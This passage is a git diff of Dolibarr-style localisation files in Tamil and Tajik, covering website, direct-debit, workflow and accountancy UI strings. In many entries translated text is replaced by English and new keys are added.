      PHP பதிக்கப்பட்ட சர்வர்
      கொண்டு பயன்பாட்டு உருவாக்க சூழல், நீங்கள்
      PHP -S 0.0.0.0:8080 -t %s இயங்கும் மூலம் PHP பதிக்கப்பட்ட இணையதள சர்வர் தளம் (PHP 5.5, தேவை) சோதிக்க விரும்பும் அதிகப்படியான @@ -137,7 +140,7 @@ PagesRegenerated=%s பக்கம்(கள்)/கொள்கலன்(க RegenerateWebsiteContent=இணைய தள தற்காலிக சேமிப்பு கோப்புகளை மீண்டும் உருவாக்கவும் AllowedInFrames=ஃபிரேம்களில் அனுமதிக்கப்படுகிறது DefineListOfAltLanguagesInWebsiteProperties=கிடைக்கக்கூடிய அனைத்து மொழிகளின் பட்டியலை இணைய தள பண்புகளாக வரையறுக்கவும். -GenerateSitemaps=இணையதள தளவரைபடக் கோப்பை உருவாக்கவும் +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=உறுதிப்படுத்தினால், ஏற்கனவே உள்ள தளவரைபடக் கோப்பை அழிப்பீர்கள்... ConfirmSitemapsCreation=தளவரைபட உருவாக்கத்தை உறுதிப்படுத்தவும் SitemapGenerated=தளவரைபடக் கோப்பு %s உருவாக்கப்பட்டது @@ -145,3 +148,10 @@ ImportFavicon=ஃபேவிகான் ErrorFaviconType=ஃபேவிகான் png ஆக இருக்க வேண்டும் ErrorFaviconSize=ஃபேவிகான் 16x16, 32x32 அல்லது 64x64 அளவில் இருக்க வேண்டும் FaviconTooltip=png ஆக இருக்க வேண்டிய படத்தைப் பதிவேற்றவும் (16x16, 32x32 அல்லது 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/ta_IN/withdrawals.lang b/htdocs/langs/ta_IN/withdrawals.lang index 75c7a5fb563..8dbb897b03d 100644 --- a/htdocs/langs/ta_IN/withdrawals.lang +++ b/htdocs/langs/ta_IN/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=கிரெடிட் பரிமாற்ற InvoiceWaitingWithdraw=நேரடிப் பற்றுக்காகக் காத்திருக்கும் விலைப்பட்டியல் InvoiceWaitingPaymentByBankTransfer=கடன் பரிமாற்றத்திற்காக காத்திருக்கும் விலைப்பட்டியல் AmountToWithdraw=திரும்பப் பெற வேண்டிய தொகை +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw='%s'க்கான இன்வாய்ஸ் எதுவும் திறக்கப்படவில்லை. கோரிக்கையைச் செய்ய விலைப்பட்டியல் அட்டையில் '%s' தாவலுக்குச் செல்லவும். -NoSupplierInvoiceToWithdraw=திறந்த 'நேரடி கடன் கோரிக்கைகள்' கொண்ட சப்ளையர் இன்வாய்ஸ் எதுவும் காத்திருக்கவில்லை. கோரிக்கையைச் செய்ய விலைப்பட்டியல் அட்டையில் '%s' தாவலுக்குச் செல்லவும். +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=பயனர் பொறுப்பு WithdrawalsSetup=நேரடி டெபிட் கட்டண அமைப்பு CreditTransferSetup=கடன் பரிமாற்ற அமைப்பு @@ -41,6 +42,7 @@ CreditTransferStatistics=கடன் பரிமாற்ற புள்ள Rejects=நிராகரிக்கிறது LastWithdrawalReceipt=சமீபத்திய %s நேரடி டெபிட் ரசீதுகள் MakeWithdrawRequest=நேரடி டெபிட் கட்டண கோரிக்கையை உருவாக்கவும் +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=கடன் பரிமாற்ற கோரிக்கையை உருவாக்கவும் WithdrawRequestsDone=%s நேரடி டெபிட் கட்டண கோரிக்கைகள் பதிவு செய்யப்பட்டன BankTransferRequestsDone=%s கடன் பரிமாற்ற கோரிக்கைகள் பதிவு செய்யப்பட்டன @@ -99,8 +101,11 @@ CreditDate=அன்று கடன் WithdrawalFileNotCapable=உங்கள் நாடு %s க்கான திரும்பப் பெறுதல் ரசீது கோப்பை உருவாக்க முடியவில்லை (உங்கள் நாடு ஆதரிக்கப்படவில்லை) ShowWithdraw=நேரடி டெபிட் ஆர்டரைக் காட்டு IfInvoiceNeedOnWithdrawPaymentWontBeClosed=இருப்பினும், இன்வாய்ஸில் குறைந்தபட்சம் ஒரு நேரடி டெபிட் பேமெண்ட் ஆர்டராவது இன்னும் செயல்படுத்தப்படவில்லை எனில், முன் திரும்பப் பெறுதல் நிர்வாகத்தை அனுமதிக்கும் வகையில் அது செலுத்தப்பட்டதாக அமைக்கப்படாது. -DoStandingOrdersBeforePayments=இந்த டேப் நேரடி டெபிட் பேமெண்ட் ஆர்டரைக் கோர உங்களை அனுமதிக்கிறது. முடிந்ததும், நேரடி டெபிட் ஆர்டரை உருவாக்கி நிர்வகிக்க, வங்கி->நேரடி டெபிட் மூலம் பணம் செலுத்துதல் என்ற மெனுவிற்குச் செல்லவும். நேரடி டெபிட் ஆர்டர் மூடப்பட்டால், இன்வாய்ஸ்களில் பணம் செலுத்துவது தானாகவே பதிவு செய்யப்படும், மீதமுள்ள பணம் செல்லாததாக இருந்தால் இன்வாய்ஸ்கள் மூடப்படும். -DoCreditTransferBeforePayments=இந்த தாவல் கிரெடிட் பரிமாற்ற ஆர்டரைக் கோர உங்களை அனுமதிக்கிறது. முடிந்ததும், கிரெடிட் டிரான்ஸ்ஃபர் ஆர்டரை உருவாக்கி நிர்வகிக்க வங்கி->கிரெடிட் டிரான்ஸ்ஃபர் மூலம் பணம் செலுத்துதல் என்ற மெனுவிற்குச் செல்லவும். கிரெடிட் டிரான்ஸ்ஃபர் ஆர்டர் மூடப்படும் போது, இன்வாய்ஸ்களில் பணம் செலுத்துவது தானாகவே பதிவு செய்யப்படும், மீதமுள்ள பணம் செல்லாததாக இருந்தால் இன்வாய்ஸ்கள் மூடப்படும். +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=டெபிட் ஆர்டர் கோப்பு CreditTransferFile=கடன் பரிமாற்ற கோப்பு SetToStatusSent="கோப்பு அனுப்பப்பட்டது" நிலைக்கு அமைக்கவும் @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=வெற்றுத் தொகைக்கு SepaMandate=SEPA நேரடி டெபிட் ஆணை SepaMandateShort=SEPA ஆணை PleaseReturnMandate=இந்த ஆணை படிவத்தை %s க்கு மின்னஞ்சல் மூலமாகவோ அல்லது அஞ்சல் மூலமாகவோ திருப்பி அனுப்பவும் -SEPALegalText=இந்த ஆணைப் படிவத்தில் கையொப்பமிடுவதன் மூலம், %s உங்கள் கணக்கில் டெபிட் செய்வதற்கான வழிமுறைகளை (A) %s மற்றும் (B) %s இன் வழிமுறைகளுக்கு இணங்க உங்கள் கணக்கில் டெபிட் செய்ய உங்கள் வங்கியை அங்கீகரிக்கிறீர்கள். உங்கள் உரிமைகளின் ஒரு பகுதியாக, உங்கள் வங்கியுடனான உங்கள் ஒப்பந்தத்தின் விதிமுறைகள் மற்றும் நிபந்தனைகளின் கீழ் உங்கள் வங்கியிடமிருந்து பணத்தைத் திரும்பப் பெற உங்களுக்கு உரிமை உள்ளது. மேலே உள்ள ஆணை தொடர்பான உங்கள் உரிமைகள் உங்கள் வங்கியிலிருந்து நீங்கள் பெறக்கூடிய அறிக்கையில் விளக்கப்பட்டுள்ளன. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=கடனாளர் அடையாளங்காட்டி CreditorName=கடனாளியின் பெயர் SEPAFillForm=(B) குறிக்கப்பட்ட அனைத்து புலங்களையும் பூர்த்தி செய்யவும்* @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=செயல்படுத்தும் தேதி CreateForSepa=நேரடி டெபிட் கோப்பை உருவாக்கவும் ICS=கடனாளி அடையாளங்காட்டி - ICS +IDS=Debitor Identifier END_TO_END="EndToEndId" SEPA XML டேக் - ஒரு பரிவர்த்தனைக்கு தனிப்பட்ட ஐடி ஒதுக்கப்படும் USTRD="கட்டமைக்கப்படாத" SEPA XML குறிச்சொல் ADDDAYS=செயல்படுத்தும் தேதியில் நாட்களைச் சேர்க்கவும் @@ -154,3 +160,4 @@ ErrorICSmissing=%s வங்கிக் கணக்கில் ICS இல் TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=நேரடி டெபிட் ஆர்டரின் மொத்த அளவு வரிகளின் தொகையிலிருந்து வேறுபடுகிறது WarningSomeDirectDebitOrdersAlreadyExists=எச்சரிக்கை: %s தொகைக்காகக் கோரப்பட்ட சில நேரடி டெபிட் ஆர்டர்கள் (%s) ஏற்கனவே நிலுவையில் உள்ளன WarningSomeCreditTransferAlreadyExists=எச்சரிக்கை: %s தொகைக்கு ஏற்கனவே சில கிரெடிட் டிரான்ஸ்ஃபர் (%s) கோரப்பட்டுள்ளது +UsedFor=Used for %s diff --git a/htdocs/langs/ta_IN/workflow.lang b/htdocs/langs/ta_IN/workflow.lang index 71b1059c002..a1bab1b40a7 100644 --- a/htdocs/langs/ta_IN/workflow.lang +++ b/htdocs/langs/ta_IN/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=வணிக முன்மொழிவு descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=வணிக முன்மொழிவு கையொப்பமிடப்பட்ட பிறகு தானாகவே வாடிக்கையாளர் விலைப்பட்டியலை உருவாக்கவும் (புதிய விலைப்பட்டியல் முன்மொழிவின் அதே தொகையைக் கொண்டிருக்கும்) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=ஒப்பந்தம் சரிபார்க்கப்பட்ட பிறகு தானாகவே வாடிக்கையாளர் விலைப்பட்டியலை உருவாக்கவும் descWORKFLOW_ORDER_AUTOCREATE_INVOICE=விற்பனை ஆர்டர் மூடப்பட்ட பிறகு தானாகவே வாடிக்கையாளர் விலைப்பட்டியலை உருவாக்கவும் (புதிய விலைப்பட்டியல் ஆர்டரின் அதே தொகையைக் கொண்டிருக்கும்) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=விற்பனை ஆர்டரை பில் செய்யும்போது பில் செய்யப்பட்டதாக இணைக்கப்பட்ட மூல முன்மொழிவை வகைப்படுத்தவும் (மற்றும் ஆர்டரின் தொகையானது கையொப்பமிடப்பட்ட இணைக்கப்பட்ட முன்மொழிவின் மொத்தத் தொகையாக இருந்தால்) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=வாடிக்கையாளர் விலைப்பட்டியல் சரிபார்க்கப்படும் போது இணைக்கப்பட்ட மூல முன்மொழிவை பில் செய்யப்பட்டதாக வகைப்படுத்தவும் (மற்றும் விலைப்பட்டியல் தொகையானது கையொப்பமிடப்பட்ட இணைக்கப்பட்ட திட்டத்தின் மொத்தத் தொகையாக இருந்தால்) @@ -21,10 +22,15 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=விற்பனை descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=ஒரு வரவேற்பு சரிபார்க்கப்படும் போது பெறப்பட்ட இணைக்கப்பட்ட மூல கொள்முதல் ஆர்டரை வகைப்படுத்தவும் (மற்றும் அனைத்து வரவேற்புகளிலும் பெறப்பட்ட அளவு வாங்குதல் ஆர்டரில் உள்ளதைப் போலவே புதுப்பிக்கவும்) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=ஒரு வரவேற்பு மூடப்படும் போது பெறப்பட்ட இணைக்கப்பட்ட மூல கொள்முதல் ஆர்டரை வகைப்படுத்தவும் (மற்றும் அனைத்து வரவேற்புகளிலும் பெறப்பட்ட அளவு வாங்குதல் ஆர்டரில் உள்ளதைப் போலவே புதுப்பிக்கவும்) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=இணைக்கப்பட்ட சப்ளையர் ஆர்டர் சரிபார்க்கப்படும் போது வரவேற்புகளை "பில்" என வகைப்படுத்தவும் +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=டிக்கெட் மூடப்படும் போது, டிக்கெட்டுடன் இணைக்கப்பட்ட அனைத்து தலையீடுகளையும் மூடு AutomaticCreation=தானியங்கி உருவாக்கம் AutomaticClassification=தானியங்கி வகைப்பாடு # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=வாடிக்கையாளர் இன்வாய்ஸ் சரிபார்க்கப்படும் போது இணைக்கப்பட்ட மூல ஏற்றுமதி மூடப்பட்டதாக வகைப்படுத்தவும் +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/tg_TJ/accountancy.lang b/htdocs/langs/tg_TJ/accountancy.lang index 6abf6edd9f9..11a93979849 100644 --- a/htdocs/langs/tg_TJ/accountancy.lang +++ b/htdocs/langs/tg_TJ/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Навъи бозгашти вагонро интих ACCOUNTING_EXPORT_PREFIX_SPEC=Префикси номи файлро муайян кунед ThisService=Ин хидмат ThisProduct=Ин маҳсулот -DefaultForService=Пешфарз барои хидмат -DefaultForProduct=Пешфарз барои маҳсулот +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Маҳсулот барои ин тарафи сеюм ServiceForThisThirdparty=Хидмат барои ин шахси сеюм CantSuggest=Тавсия дода наметавонад @@ -48,8 +48,9 @@ CountriesNotInEEC=Кишварҳое, ки дар ИАА нестанд CountriesInEECExceptMe=Кишварҳо дар ЕЭК ба истиснои %s CountriesExceptMe=Ҳама кишварҳо ба истиснои %s AccountantFiles=Ҳуҷҷатҳои манбаъро содир кунед -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Барои содироти маҷаллаҳои худ, вуруди менюи %s - %s -ро истифода баред. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=Аз ҳисоби ҳисоби баҳисобгирӣ дидан кунед VueBySubAccountAccounting=Бо зерсохтори баҳисобгирӣ дидан кунед @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Ҳисоби асосии баҳисобгир MainAccountForUsersNotDefined=Ҳисоби асосии баҳисобгирӣ барои корбароне, ки дар танзим муайян нашудаанд MainAccountForVatPaymentNotDefined=Ҳисоби асосии баҳисобгирии пардохти ААИ дар танзим муқаррар нашудааст MainAccountForSubscriptionPaymentNotDefined=Ҳисоби асосии баҳисобгирии пардохти обуна дар танзимот муайян нашудааст +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Минтақаи баҳисобгирӣ AccountancyAreaDescIntro=Истифодаи модули ҳисобдорӣ дар якчанд марҳила сурат мегирад: @@ -99,7 +101,8 @@ ShowAccountingAccount=Нишон додани ҳисоби баҳисобгир ShowAccountingJournal=Нишон додани маҷаллаи баҳисобгирӣ ShowAccountingAccountInLedger=Ҳисобгирии муҳосибиро дар дафтар нишон диҳед ShowAccountingAccountInJournals=Нишон додани ҳисоби баҳисобгирӣ дар маҷаллаҳо -AccountAccountingSuggest=Ҳисоби баҳисобгирӣ пешниҳод карда мешавад +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Ҳисобҳои пешфарз MenuBankAccounts=Ҳисобҳои бонкӣ MenuVatAccounts=Ҳисобҳои андоз аз арзиши иловашуда @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Китоб BookkeepingSubAccount=Подшоҳ AccountBalance=Тавозуни суратҳисоб +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Манбаи объекти истинод CAHTF=Фурӯшандаи умумии харид пеш аз андоз TotalExpenseReport=Ҳисоботи умумии хароҷот @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Сабти мустақими амалиёт дар с ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Экспорти лоиҳаро дар маҷалла фаъол созед ACCOUNTANCY_COMBO_FOR_AUX=Рӯйхати combo -ро барои ҳисоби фаръӣ фаъол созед (агар шумо шумораи зиёди шахсони сеюм дошта бошед, қобилияти ҷустуҷӯи як қисми арзишро вайрон кунед) ACCOUNTING_DATE_START_BINDING=Санаи оғози ҳатмӣ ва интиқол дар муҳосиботро муайян кунед. Дар зери ин сана амалиётҳо ба ҳисобдорӣ гузаронида намешаванд. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=Ҳангоми интиқоли ҳисобдорӣ, давраи пешфарзро бо нобаёнӣ интихоб кунед +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Журнал фурӯшед -ACCOUNTING_PURCHASE_JOURNAL=Журнал харед -ACCOUNTING_MISCELLANEOUS_JOURNAL=Маҷаллаи гуногун +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Маҷаллаи ҳисоботи хароҷот -ACCOUNTING_SOCIAL_JOURNAL=Маҷаллаи иҷтимоӣ +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Маҷаллаи нав дорад +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Маҷаллаи иҷтимоӣ ACCOUNTING_RESULT_PROFIT=Ҳисоби баҳисобгирии натиҷаҳо (фоида) ACCOUNTING_RESULT_LOSS=Ҳисоби баҳисобгирии натиҷаҳо (талафот) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Маҷаллаи басташавӣ -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Ҳисоби баҳисобгирии интиқоли бонкӣ +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Ҳисоби интиқоли бонк -ACCOUNTING_ACCOUNT_SUSPENSE=Ҳисоби баҳисобгирии интизорӣ -DONATION_ACCOUNTINGACCOUNT=Ҳисоби баҳисобгирӣ барои бақайдгирии хайрияҳо -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Ҳисоби баҳисобгирӣ барои бақайдгирии обунаҳо +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои бақайдгирии пасандози муштарӣ -UseAuxiliaryAccountOnCustomerDeposit=Use sub-accounts on customer deposit lines +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Ҳисоби баҳисобгирии муҳосибӣ барои маҳсулоти харидашуда (агар дар варақаи маҳсулот муайян нашуда бошад) истифода мешавад -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Ҳисоби баҳисобгирии муҳосибӣ барои маҳсулоти харидашуда дар EEC (агар дар варақаи маҳсулот муайян нашуда бошад) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Ҳисоби баҳисобгирии муҳосибӣ барои маҳсулоти харидашуда ва берун аз ИА ворид карда мешавад (агар дар варақаи маҳсулот муайян нашуда бошад) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Ҳисоби баҳисобгирии муҳосибӣ барои маҳсулоти фурӯхташуда (агар дар варақаи маҳсулот муайян нашуда бошад) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Ҳисоби баҳисобгирӣ барои маҳсулоти дар EEC фурӯхташуда (агар дар варақаи маҳсулот муайян нашуда бошад) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Ҳисоби баҳисобгирии муҳосибӣ барои маҳсулоти фурӯхташуда ва берун аз EEC содиршуда (агар дар варақаи маҳсулот муайян нашуда бошад) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои хидматҳои харидашуда (агар дар варақаи хидмат муайян нашуда бошад) истифода мешавад -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Ҳисоби баҳисобгирии муҳосибӣ барои хидматҳои харидашуда дар EEC (агар дар варақаи хидматӣ муайян нашуда бошад) истифода мешавад -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои хидматҳои харидашуда ва берун аз EEC воридшуда (агар дар варақаи хидматрасонӣ муайян нашуда бошад) истифода мешавад -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои хидматҳои фурӯхташуда (агар дар варақаи хидмат муайян нашуда бошад) истифода мешавад -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Ҳисоби баҳисобгирӣ бо нобаёнӣ барои хидматҳои дар EEC фурӯхташуда (агар дар варақаи хидматрасонӣ муайян нашуда бошад) истифода мешавад -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Ҳисоби баҳисобгирии муҳосибӣ барои хидматҳои фурӯхташуда ва берун аз EEC (агар дар варақаи хидматрасонӣ муайян нашуда бошад) истифода мешавад +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Навъи ҳуҷҷат Docdate=Сана @@ -211,7 +220,8 @@ Codejournal=Маҷалла JournalLabel=Нишони рӯзнома NumPiece=Рақами дона TransactionNumShort=Адад муомилот -AccountingCategory=Гурӯҳи фармоишӣ +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Гурӯҳбандӣ аз рӯи ҳисоби китоби умумӣ GroupBySubAccountAccounting=Гурӯҳбандӣ аз рӯи ҳисоби зерпардохт AccountingAccountGroupsDesc=Шумо метавонед дар ин ҷо баъзе гурӯҳҳои баҳисобгирии муҳосибиро муайян кунед. Онҳо барои ҳисоботи шахсии баҳисобгирӣ истифода мешаванд. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Нишон додани маҷмӯа аз рӯи сатҳ Pcgtype=Гурӯҳи ҳисоб PcgtypeDesc=Гурӯҳи ҳисобҳо ҳамчун меъёрҳои пешакӣ муайяншудаи 'филтр' ва 'гурӯҳбандӣ' барои баъзе ҳисоботҳои баҳисобгирӣ истифода мешаванд. Масалан, 'ДАРОМАД' ё 'ХАРОҶО' ҳамчун гурӯҳҳо барои ҳисобҳои баҳисобгирии маҳсулот барои таҳияи гузориши хароҷот/даромад истифода мешаванд. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Оштӣ TotalVente=Маблағи умумии гардиш пеш аз андоз TotalMarge=Маржаи умумии фурӯш -DescVentilCustomer=Дар ин ҷо рӯйхати хатҳои фактураи муштариёнро, ки ба суратҳисоби баҳисобгирии маҳсулот баста шудаанд, баррасӣ кунед -DescVentilMore=Дар аксари ҳолатҳо, агар шумо маҳсулот ё хидматҳои пешакӣ муайяншударо истифода баред ва рақами суратҳисобро дар корти маҳсулот/хидмат гузоштед, барнома қодир аст, ки байни хатҳои ҳисобнома -фактураи шумо ва суратҳисоби муҳосибии нақшаи суратҳисобҳои шумо ҳатмӣ бошад. як клик бо тугмаи "%s" . Агар ҳисоб дар кортҳои маҳсулот/хидматрасонӣ насб нашуда бошад ё агар шумо то ҳол баъзе сатрҳои ба суратҳисоб алоқаманд набошед, шумо бояд аз менюи " %s " дастӣ ҳатмӣ кунед. -DescVentilDoneCustomer=Дар ин ҷо ба рӯйхати хатҳои муштариёни ҳисобнома -фактура ва ҳисоби баҳисобгирии маҳсулоти онҳо муроҷиат кунед -DescVentilTodoCustomer=Хатҳои фактураро, ки аллакай бо ҳисоби баҳисобгирии маҳсулот баста нашудаанд, бандед -ChangeAccount=Ҳисоби баҳисобгирии маҳсулот/хидматро барои хатҳои интихобшуда бо ҳисоби баҳисобгирии зерин иваз кунед: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Дар ин ҷо ба рӯйхати хатҳои фактураи фурӯшанда муроҷиат кунед, ки ба суратҳисоби баҳисобгирии маҳсулот баста ё ҳанӯз баста нашудаанд (танҳо сабтҳое, ки ҳоло дар муҳосибот интиқол дода нашудаанд) намоёнанд) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Дар ин ҷо ба рӯйхати хатҳои фактураҳои фурӯшанда ва ҳисоби баҳисобгирии онҳо 